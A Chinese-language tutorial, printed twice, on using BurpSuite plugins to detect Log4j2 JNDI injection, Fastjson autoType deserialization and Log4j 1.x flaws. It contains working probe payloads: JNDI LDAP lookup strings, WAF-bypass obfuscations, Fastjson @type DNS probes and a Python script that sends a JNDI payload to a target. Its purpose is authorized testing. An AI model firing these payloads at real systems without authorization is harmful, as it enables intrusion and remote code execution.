简介这份资源面向Java安全测试人员与渗透测试学习者聚焦Log4j、Log4j2与Fastjson三类常见组件的漏洞检测场景。包内提供适配BurpSuite的扫描插件可帮助使用者在目标系统中识别相关组件并评估远程代码执行等安全风险兼容新旧版本BurpSuite适合具备一定Java与Web安全基础的中高级从业者。资源共53个文件以java源码、png截图、jar插件包、xml配置为主另含md说明与yml等辅助文件压缩包约24.04MB目录按插件模块与文档分列便于按需查阅与二次编译。目前已有2027人学习下载。通过插件源码、配置说明与使用文档读者可理解Log4j2 Lookup触发机制与Fastjson反序列化风险点掌握在常规扫描后深度分析日志与JSON处理流程的方法并配合模糊测试、渗透测试更全面地排查系统安全隐患。1. 从一次接口测试说起为什么要在 BurpSuite 里盯死 Log4j2、Fastjson 和 Log4j做渗透测试或者接口安全评估的人大概率都遇到过这种场景抓到一个 JSON 请求体里面某个字段的值被原样打进了日志或者被反序列化成了对象。你隐约觉得这里有问题但手工构造 payload 一条条试效率低得让人抓狂。Log4j2、Fastjson、Log4j 这三个组件恰好是 Java 生态里被讨论最多的几个高危常客——Log4j2 的 JNDI 注入、Fastjson 的 autoType 反序列化、Log4j 1.x 的 SocketServer 反序列化每一个都曾经在真实项目里翻过车。BurpSuite 插件的价值就在这里它把被动扫描和主动探测塞进了你本来就在用的抓包流程里。你不需要额外开一个扫描器不需要把请求导来导去流量经过 Burp 的时候插件自动帮你识别哪些参数可能触发这三个组件的漏洞甚至直接帮你把 payload 打出去看回显。这篇内容面向的是已经会用 BurpSuite 抓包、但对 Java 反序列化和 JNDI 注入只有模糊概念的从业者我会把插件能做什么、怎么配、参数怎么调、哪些地方容易踩坑按我实际用下来的顺序讲清楚。2. 三个组件各自的命门插件到底在探测什么2.1 Log4j2 的 JNDI 注入lookup 机制被滥用的那条路Log4j2 在 2.x 版本里引入了 lookup 功能本意是让配置更灵活比如${java:version}这种写法能在日志里直接输出运行时信息。问题出在${jndi:ldap://...}这类 lookup 上——当用户可控的字符串被拼进日志消息Log4j2 会去解析这个 lookup进而发起 JNDI 请求。攻击者控制一个 LDAP 或 RMI 服务就能让目标加载远程类。插件在 Burp 里做的事情本质上是在每个请求参数、Header、Cookie 里插入类似${jndi:ldap://your-dnslog-domain/a}的探测串然后观察是否有 DNS 回连或 HTTP 回连。这里的关键参数是回连域名和协议类型。我一般会准备一个 DNSLog 平台把域名填进插件配置协议优先用 LDAP因为很多环境对 RMI 的出站限制更严。需要注意的是Log4j2 的 payload 有很多变形比如${${lower:j}ndi:...}这种绕过 WAF 的写法。插件如果只发一种固定 payload遇到有 WAF 的目标就容易漏报。好的插件会内置多种混淆变体你在配置里能看到一个 payload 列表可以自己增删。2.2 Fastjson 的 autoType反序列化链的入口Fastjson 的问题核心在autoType。当JSON.parseObject或JSON.parse处理一个包含type字段的 JSON 时如果 autoType 没被严格限制攻击者就能指定任意类配合 gadget 链实现远程代码执行。插件在 Burp 里的探测方式通常是往 JSON 请求体里注入{type:java.net.Inet4Address,val:dnslog-domain}这类 payload看是否有 DNS 回连。Fastjson 的版本差异很大。1.2.24 及以前基本是裸奔1.2.25 到 1.2.47 之间有一堆绕过1.2.48 以后加了 safeMode 和黑名单。插件一般会针对不同版本区间准备不同的 payload 集。你在配置里会看到一个Fastjson 版本范围的选项如果你知道目标大概用的版本选对应的范围能减少无效请求。还有一个容易忽略的点Fastjson 不仅处理请求体有时候 URL 参数、Header 里的 JSON 字符串也会被解析。插件如果只扫 Body就会漏掉这些位置。我一般会把扫描位置全选上虽然请求量会大一些但覆盖更全。2.3 Log4j 1.x 的 SocketServer 和 JMSAppenderLog4j 1.x 虽然已经停止维护但很多老系统还在用。它的两个经典问题一是SocketServer反序列化监听端口收到恶意序列化数据就会触发二是JMSAppender的 JNDI 查找配置里如果用了 JNDI 就能被利用。插件对 Log4j 1.x 的探测更多是发一些特征 payload 看是否有异常回显或延迟。这个组件的探测在 Burp 里相对安静因为它不像 Log4j2 那样有明确的 DNS 回连特征。我一般会结合响应时间来判断——如果某个请求突然变慢可能是触发了反序列化。插件里通常会有一个延迟阈值参数默认 5000 毫秒你可以根据目标网络情况调整。3. 在 BurpSuite 里把插件跑起来安装、配置与第一次扫描3.1 插件加载与依赖检查BurpSuite 的插件体系分 Java 和 Python 两种。Log4j2、Fastjson、Log4j 这类探测插件常见的是 Java 写的.jar包也有 Python 写的.py文件。加载方式在 Burp 的 Extender 标签页里点 Add选文件类型然后指定路径。# 假设你拿到的是一个 jar 包先确认 Java 版本 java -version # BurpSuite 2023 以后的版本一般要求 Java 17 以上 # 如果版本不对插件加载会直接报 UnsupportedClassVersionError加载后看 Extender 的 Output 和 Errors 标签。Output 里会打印插件初始化日志比如Loaded 12 payloads for Log4j2Errors 里如果有ClassNotFoundException说明插件依赖的某个库没打包进去这种情况要么找作者要完整包要么自己用 Maven 补依赖。提示BurpSuite 社区版和专业版在插件 API 上基本一致但专业版的扫描器 API 更完整。如果你用的是社区版主动扫描功能会受限只能靠插件自己的请求逻辑来发 payload。3.2 回连平台配置DNSLog 和 HTTP 回连地址插件要判断漏洞是否存在最可靠的方式是看回连。你需要在插件配置里填一个 DNSLog 域名比如xxx.dnslog.cn或者你自己搭的dnslog服务。有些插件还支持 HTTP 回连那就再填一个 HTTP 地址。# 这是一个简化的回连检测逻辑示意不是插件源码 # 实际插件里会用 Burp 的 IHttpRequestResponse 接口 def check_callback(dnslog_domain, payload_template): # payload_template 里用 {domain} 占位 payload payload_template.format(domaindnslog_domain) # 把 payload 注入到请求参数里 # 然后等待 DNSLog 平台返回结果 # 如果平台显示有解析记录说明存在漏洞 return has_dns_record参数说明dnslog_domain是你自己的回连域名不要用公共的、很多人共用的域名否则结果会混在一起。payload_template是插件内置的你一般不需要改但如果目标有 WAF可以在这里加混淆变体。3.3 扫描范围与请求节流插件跑起来后默认会对所有经过 Burp 的请求做被动分析。但主动发 payload 需要你手动触发或者在 Proxy 里右键选择Scan with Log4j2/Fastjson plugin。# 如果你用命令行启动 Burp可以加一些 JVM 参数控制内存 java -Xmx4g -jar burpsuite_pro.jar # 插件跑大量请求时内存占用会上升4G 是底线请求节流很重要。我见过有人把线程数开到 50结果目标直接封 IP。插件里一般有并发线程数和请求间隔两个参数。我一般设线程数 5间隔 200 毫秒这样既能跑完又不会太激进。注意扫描前确认你有目标系统的测试授权。未授权的扫描不仅不道德还可能触犯法律。这篇内容只讨论技术实现不鼓励任何未授权测试。4. 避坑与排查那些让我熬夜的翻车现场4.1 回连平台没收到记录但目标确实有漏洞现象你明明知道目标用了 Log4j2 2.14插件也发了 payload但 DNSLog 平台就是没记录。原因目标服务器可能没有出站 DNS 权限或者 DNS 请求被内网 DNS 服务器拦截了。还有一种可能是 payload 被 WAF 拦了根本没到应用层。解决换用 HTTP 回连试试有些环境 DNS 出不去但 HTTP 能出去。如果都不行用时间盲注的方式——发一个会触发延迟的 payload看响应时间是否明显变长。插件里一般有延迟检测选项打开它。4.2 Fastjson payload 被转义注入失败现象你往 JSON 请求体里插{type:java.net.Inet4Address,val:xxx.dnslog.cn}但插件报告payload 被转义。原因Burp 的 Repeater 或者插件在构造请求时对 JSON 特殊字符做了转义导致type变成了\type或者引号被转义。解决检查插件的JSON 处理模式一般有原始插入和智能解析两种。选原始插入让插件直接把 payload 拼进去不要做额外处理。如果还是不行手工在 Repeater 里试一次确认 payload 本身没问题。4.3 Log4j 1.x 探测没有回显也没有延迟现象插件对 Log4j 1.x 的探测完全没反应响应时间和正常请求一样。原因Log4j 1.x 的 SocketServer 需要目标开放特定端口插件如果只发 HTTP 请求根本触发不了。JMSAppender 也需要目标配置了 JNDI 才能利用。解决确认目标是否真的用了 Log4j 1.x以及是否开放了相关端口。如果只是 HTTP 接口Log4j 1.x 的利用面比 Log4j2 窄很多。这种情况下插件更多是排除作用——没反应不代表没漏洞只是当前路径触发不了。4.4 插件加载后 Burp 变卡甚至无响应现象加载插件后Burp 的 UI 开始卡顿抓包延迟明显增加。原因插件在每个请求上都做了大量正则匹配或 JSON 解析CPU 占用飙升。或者插件的日志输出太多写满了 Burp 的 Output 缓冲区。解决在插件配置里关掉被动扫描只在你需要的时候手动触发。另外把插件的日志级别调到 WARN减少输出。如果还是卡考虑换一个轻量级的插件或者把 Burp 的内存调大。4.5 扫描报告里一堆疑似漏洞实际都是误报现象插件报告了十几个可能存在 Log4j2 漏洞的请求你一个个手工验证发现全是误报。原因插件可能把参数里包含 ${}这种正常业务逻辑也当成了 payload 注入点。或者回连平台上有其他人的记录被你误认为是自己的。解决用独立的 DNSLog 子域名不要和别人共用。插件里一般有置信度过滤把阈值调高只显示高置信度的结果。手工验证时用 Burp 的 Repeater 单独发一次确认回连记录的时间戳和你的请求时间对得上。5. 进阶技巧把三个组件的探测串成一条流水线5.1 用 Burp 的 Macro 和 Session Handling 做自动化如果你要测的接口需要登录态每次请求都要带 Token那插件的主动扫描会因为 Token 过期而失败。这时候可以用 Burp 的 Macro 功能录一个登录请求提取 Token然后在 Session Handling Rules 里让所有请求自动带上最新 Token。# 这不是代码是 Burp 里的操作路径 # Project options - Sessions - Session Handling Rules - Add # Rule Action 选 Run a Macro然后录登录流程 # 在 Macro 里用 Extract 功能把 Token 存成参数 # 最后在 Scope 里选你要扫描的 URL 范围这样插件发 payload 的时候Token 会自动刷新不会因为 401 而中断。我一般会把 Macro 的触发条件设为响应中包含 401 或 Token 过期关键字。5.2 组合 payload一次请求同时探测多个组件有些场景下你不想发太多次请求怕被风控。这时候可以构造一个组合 payload比如在同一个参数里同时包含 Log4j2 的${jndi:ldap://...}和 Fastjson 的type结构。当然这要求目标同时解析这两种格式成功率不高但在某些特定接口上能减少请求数。更实用的做法是先跑一轮被动扫描把可疑参数标记出来然后只对这些参数发主动 payload。插件里一般有从被动结果生成主动扫描任务的功能你找找看。5.3 验证方法怎么确认一个漏洞是真的插件报告漏洞后不要直接写进报告。我一般会做三步验证第一步用 Burp Repeater 手工发一次 payload确认回连记录的时间戳和请求时间一致。第二步换一个回连域名再发一次确认不是缓存或巧合。第三步如果条件允许尝试用 DNSLog 之外的协议比如 LDAP验证看是否能加载远程类。# 一个简单的回连验证脚本示意 import requests import time dnslog_domain your-unique-id.dnslog.cn payload ${jndi:ldap://%s/test} % dnslog_domain # 发送请求 start time.time() requests.get(http://target.com/api, params{name: payload}) elapsed time.time() - start # 检查 DNSLog 平台是否有记录 # 这一步通常需要调用 DNSLog 平台的 API # 如果没有 API就手工刷新页面看 print(Request took %.2f seconds % elapsed) # 如果 elapsed 明显大于正常请求可能是触发了 JNDI 解析参数说明dnslog_domain必须是你自己独有的不要用公共域名。payload里的/test是路径有些 DNSLog 平台会记录完整路径方便区分不同请求。5.4 我自己的习惯先排除再确认用了这么久我最大的体会是这类插件最大的价值不是发现漏洞而是快速排除。一个接口跑一遍没回连、没延迟、没异常基本可以判断这三个组件在当前路径上不可利用。这比手工一个个试快太多了。另一个习惯是永远不要只依赖插件的结果。插件说没漏洞不代表真的没有插件说有漏洞一定要手工验证。我见过太多因为插件误报而白高兴一场的情况也见过因为插件漏报而错过真实漏洞的案例。插件是辅助人才是核心。希望帮到你。本文还有配套的精品资源点击获取
BurpSuite 插件探测 Log4j2、Fastjson 与 Log4j 漏洞实战
简介这份资源面向Java安全测试人员与渗透测试学习者聚焦Log4j、Log4j2与Fastjson三类常见组件的漏洞检测场景。包内提供适配BurpSuite的扫描插件可帮助使用者在目标系统中识别相关组件并评估远程代码执行等安全风险兼容新旧版本BurpSuite适合具备一定Java与Web安全基础的中高级从业者。资源共53个文件以java源码、png截图、jar插件包、xml配置为主另含md说明与yml等辅助文件压缩包约24.04MB目录按插件模块与文档分列便于按需查阅与二次编译。目前已有2027人学习下载。通过插件源码、配置说明与使用文档读者可理解Log4j2 Lookup触发机制与Fastjson反序列化风险点掌握在常规扫描后深度分析日志与JSON处理流程的方法并配合模糊测试、渗透测试更全面地排查系统安全隐患。1. 从一次接口测试说起为什么要在 BurpSuite 里盯死 Log4j2、Fastjson 和 Log4j做渗透测试或者接口安全评估的人大概率都遇到过这种场景抓到一个 JSON 请求体里面某个字段的值被原样打进了日志或者被反序列化成了对象。你隐约觉得这里有问题但手工构造 payload 一条条试效率低得让人抓狂。Log4j2、Fastjson、Log4j 这三个组件恰好是 Java 生态里被讨论最多的几个高危常客——Log4j2 的 JNDI 注入、Fastjson 的 autoType 反序列化、Log4j 1.x 的 SocketServer 反序列化每一个都曾经在真实项目里翻过车。BurpSuite 插件的价值就在这里它把被动扫描和主动探测塞进了你本来就在用的抓包流程里。你不需要额外开一个扫描器不需要把请求导来导去流量经过 Burp 的时候插件自动帮你识别哪些参数可能触发这三个组件的漏洞甚至直接帮你把 payload 打出去看回显。这篇内容面向的是已经会用 BurpSuite 抓包、但对 Java 反序列化和 JNDI 注入只有模糊概念的从业者我会把插件能做什么、怎么配、参数怎么调、哪些地方容易踩坑按我实际用下来的顺序讲清楚。2. 三个组件各自的命门插件到底在探测什么2.1 Log4j2 的 JNDI 注入lookup 机制被滥用的那条路Log4j2 在 2.x 版本里引入了 lookup 功能本意是让配置更灵活比如${java:version}这种写法能在日志里直接输出运行时信息。问题出在${jndi:ldap://...}这类 lookup 上——当用户可控的字符串被拼进日志消息Log4j2 会去解析这个 lookup进而发起 JNDI 请求。攻击者控制一个 LDAP 或 RMI 服务就能让目标加载远程类。插件在 Burp 里做的事情本质上是在每个请求参数、Header、Cookie 里插入类似${jndi:ldap://your-dnslog-domain/a}的探测串然后观察是否有 DNS 回连或 HTTP 回连。这里的关键参数是回连域名和协议类型。我一般会准备一个 DNSLog 平台把域名填进插件配置协议优先用 LDAP因为很多环境对 RMI 的出站限制更严。需要注意的是Log4j2 的 payload 有很多变形比如${${lower:j}ndi:...}这种绕过 WAF 的写法。插件如果只发一种固定 payload遇到有 WAF 的目标就容易漏报。好的插件会内置多种混淆变体你在配置里能看到一个 payload 列表可以自己增删。2.2 Fastjson 的 autoType反序列化链的入口Fastjson 的问题核心在autoType。当JSON.parseObject或JSON.parse处理一个包含type字段的 JSON 时如果 autoType 没被严格限制攻击者就能指定任意类配合 gadget 链实现远程代码执行。插件在 Burp 里的探测方式通常是往 JSON 请求体里注入{type:java.net.Inet4Address,val:dnslog-domain}这类 payload看是否有 DNS 回连。Fastjson 的版本差异很大。1.2.24 及以前基本是裸奔1.2.25 到 1.2.47 之间有一堆绕过1.2.48 以后加了 safeMode 和黑名单。插件一般会针对不同版本区间准备不同的 payload 集。你在配置里会看到一个Fastjson 版本范围的选项如果你知道目标大概用的版本选对应的范围能减少无效请求。还有一个容易忽略的点Fastjson 不仅处理请求体有时候 URL 参数、Header 里的 JSON 字符串也会被解析。插件如果只扫 Body就会漏掉这些位置。我一般会把扫描位置全选上虽然请求量会大一些但覆盖更全。2.3 Log4j 1.x 的 SocketServer 和 JMSAppenderLog4j 1.x 虽然已经停止维护但很多老系统还在用。它的两个经典问题一是SocketServer反序列化监听端口收到恶意序列化数据就会触发二是JMSAppender的 JNDI 查找配置里如果用了 JNDI 就能被利用。插件对 Log4j 1.x 的探测更多是发一些特征 payload 看是否有异常回显或延迟。这个组件的探测在 Burp 里相对安静因为它不像 Log4j2 那样有明确的 DNS 回连特征。我一般会结合响应时间来判断——如果某个请求突然变慢可能是触发了反序列化。插件里通常会有一个延迟阈值参数默认 5000 毫秒你可以根据目标网络情况调整。3. 在 BurpSuite 里把插件跑起来安装、配置与第一次扫描3.1 插件加载与依赖检查BurpSuite 的插件体系分 Java 和 Python 两种。Log4j2、Fastjson、Log4j 这类探测插件常见的是 Java 写的.jar包也有 Python 写的.py文件。加载方式在 Burp 的 Extender 标签页里点 Add选文件类型然后指定路径。# 假设你拿到的是一个 jar 包先确认 Java 版本 java -version # BurpSuite 2023 以后的版本一般要求 Java 17 以上 # 如果版本不对插件加载会直接报 UnsupportedClassVersionError加载后看 Extender 的 Output 和 Errors 标签。Output 里会打印插件初始化日志比如Loaded 12 payloads for Log4j2Errors 里如果有ClassNotFoundException说明插件依赖的某个库没打包进去这种情况要么找作者要完整包要么自己用 Maven 补依赖。提示BurpSuite 社区版和专业版在插件 API 上基本一致但专业版的扫描器 API 更完整。如果你用的是社区版主动扫描功能会受限只能靠插件自己的请求逻辑来发 payload。3.2 回连平台配置DNSLog 和 HTTP 回连地址插件要判断漏洞是否存在最可靠的方式是看回连。你需要在插件配置里填一个 DNSLog 域名比如xxx.dnslog.cn或者你自己搭的dnslog服务。有些插件还支持 HTTP 回连那就再填一个 HTTP 地址。# 这是一个简化的回连检测逻辑示意不是插件源码 # 实际插件里会用 Burp 的 IHttpRequestResponse 接口 def check_callback(dnslog_domain, payload_template): # payload_template 里用 {domain} 占位 payload payload_template.format(domaindnslog_domain) # 把 payload 注入到请求参数里 # 然后等待 DNSLog 平台返回结果 # 如果平台显示有解析记录说明存在漏洞 return has_dns_record参数说明dnslog_domain是你自己的回连域名不要用公共的、很多人共用的域名否则结果会混在一起。payload_template是插件内置的你一般不需要改但如果目标有 WAF可以在这里加混淆变体。3.3 扫描范围与请求节流插件跑起来后默认会对所有经过 Burp 的请求做被动分析。但主动发 payload 需要你手动触发或者在 Proxy 里右键选择Scan with Log4j2/Fastjson plugin。# 如果你用命令行启动 Burp可以加一些 JVM 参数控制内存 java -Xmx4g -jar burpsuite_pro.jar # 插件跑大量请求时内存占用会上升4G 是底线请求节流很重要。我见过有人把线程数开到 50结果目标直接封 IP。插件里一般有并发线程数和请求间隔两个参数。我一般设线程数 5间隔 200 毫秒这样既能跑完又不会太激进。注意扫描前确认你有目标系统的测试授权。未授权的扫描不仅不道德还可能触犯法律。这篇内容只讨论技术实现不鼓励任何未授权测试。4. 避坑与排查那些让我熬夜的翻车现场4.1 回连平台没收到记录但目标确实有漏洞现象你明明知道目标用了 Log4j2 2.14插件也发了 payload但 DNSLog 平台就是没记录。原因目标服务器可能没有出站 DNS 权限或者 DNS 请求被内网 DNS 服务器拦截了。还有一种可能是 payload 被 WAF 拦了根本没到应用层。解决换用 HTTP 回连试试有些环境 DNS 出不去但 HTTP 能出去。如果都不行用时间盲注的方式——发一个会触发延迟的 payload看响应时间是否明显变长。插件里一般有延迟检测选项打开它。4.2 Fastjson payload 被转义注入失败现象你往 JSON 请求体里插{type:java.net.Inet4Address,val:xxx.dnslog.cn}但插件报告payload 被转义。原因Burp 的 Repeater 或者插件在构造请求时对 JSON 特殊字符做了转义导致type变成了\type或者引号被转义。解决检查插件的JSON 处理模式一般有原始插入和智能解析两种。选原始插入让插件直接把 payload 拼进去不要做额外处理。如果还是不行手工在 Repeater 里试一次确认 payload 本身没问题。4.3 Log4j 1.x 探测没有回显也没有延迟现象插件对 Log4j 1.x 的探测完全没反应响应时间和正常请求一样。原因Log4j 1.x 的 SocketServer 需要目标开放特定端口插件如果只发 HTTP 请求根本触发不了。JMSAppender 也需要目标配置了 JNDI 才能利用。解决确认目标是否真的用了 Log4j 1.x以及是否开放了相关端口。如果只是 HTTP 接口Log4j 1.x 的利用面比 Log4j2 窄很多。这种情况下插件更多是排除作用——没反应不代表没漏洞只是当前路径触发不了。4.4 插件加载后 Burp 变卡甚至无响应现象加载插件后Burp 的 UI 开始卡顿抓包延迟明显增加。原因插件在每个请求上都做了大量正则匹配或 JSON 解析CPU 占用飙升。或者插件的日志输出太多写满了 Burp 的 Output 缓冲区。解决在插件配置里关掉被动扫描只在你需要的时候手动触发。另外把插件的日志级别调到 WARN减少输出。如果还是卡考虑换一个轻量级的插件或者把 Burp 的内存调大。4.5 扫描报告里一堆疑似漏洞实际都是误报现象插件报告了十几个可能存在 Log4j2 漏洞的请求你一个个手工验证发现全是误报。原因插件可能把参数里包含 ${}这种正常业务逻辑也当成了 payload 注入点。或者回连平台上有其他人的记录被你误认为是自己的。解决用独立的 DNSLog 子域名不要和别人共用。插件里一般有置信度过滤把阈值调高只显示高置信度的结果。手工验证时用 Burp 的 Repeater 单独发一次确认回连记录的时间戳和你的请求时间对得上。5. 进阶技巧把三个组件的探测串成一条流水线5.1 用 Burp 的 Macro 和 Session Handling 做自动化如果你要测的接口需要登录态每次请求都要带 Token那插件的主动扫描会因为 Token 过期而失败。这时候可以用 Burp 的 Macro 功能录一个登录请求提取 Token然后在 Session Handling Rules 里让所有请求自动带上最新 Token。# 这不是代码是 Burp 里的操作路径 # Project options - Sessions - Session Handling Rules - Add # Rule Action 选 Run a Macro然后录登录流程 # 在 Macro 里用 Extract 功能把 Token 存成参数 # 最后在 Scope 里选你要扫描的 URL 范围这样插件发 payload 的时候Token 会自动刷新不会因为 401 而中断。我一般会把 Macro 的触发条件设为响应中包含 401 或 Token 过期关键字。5.2 组合 payload一次请求同时探测多个组件有些场景下你不想发太多次请求怕被风控。这时候可以构造一个组合 payload比如在同一个参数里同时包含 Log4j2 的${jndi:ldap://...}和 Fastjson 的type结构。当然这要求目标同时解析这两种格式成功率不高但在某些特定接口上能减少请求数。更实用的做法是先跑一轮被动扫描把可疑参数标记出来然后只对这些参数发主动 payload。插件里一般有从被动结果生成主动扫描任务的功能你找找看。5.3 验证方法怎么确认一个漏洞是真的插件报告漏洞后不要直接写进报告。我一般会做三步验证第一步用 Burp Repeater 手工发一次 payload确认回连记录的时间戳和请求时间一致。第二步换一个回连域名再发一次确认不是缓存或巧合。第三步如果条件允许尝试用 DNSLog 之外的协议比如 LDAP验证看是否能加载远程类。# 一个简单的回连验证脚本示意 import requests import time dnslog_domain your-unique-id.dnslog.cn payload ${jndi:ldap://%s/test} % dnslog_domain # 发送请求 start time.time() requests.get(http://target.com/api, params{name: payload}) elapsed time.time() - start # 检查 DNSLog 平台是否有记录 # 这一步通常需要调用 DNSLog 平台的 API # 如果没有 API就手工刷新页面看 print(Request took %.2f seconds % elapsed) # 如果 elapsed 明显大于正常请求可能是触发了 JNDI 解析参数说明dnslog_domain必须是你自己独有的不要用公共域名。payload里的/test是路径有些 DNSLog 平台会记录完整路径方便区分不同请求。5.4 我自己的习惯先排除再确认用了这么久我最大的体会是这类插件最大的价值不是发现漏洞而是快速排除。一个接口跑一遍没回连、没延迟、没异常基本可以判断这三个组件在当前路径上不可利用。这比手工一个个试快太多了。另一个习惯是永远不要只依赖插件的结果。插件说没漏洞不代表真的没有插件说有漏洞一定要手工验证。我见过太多因为插件误报而白高兴一场的情况也见过因为插件漏报而错过真实漏洞的案例。插件是辅助人才是核心。希望帮到你。本文还有配套的精品资源点击获取
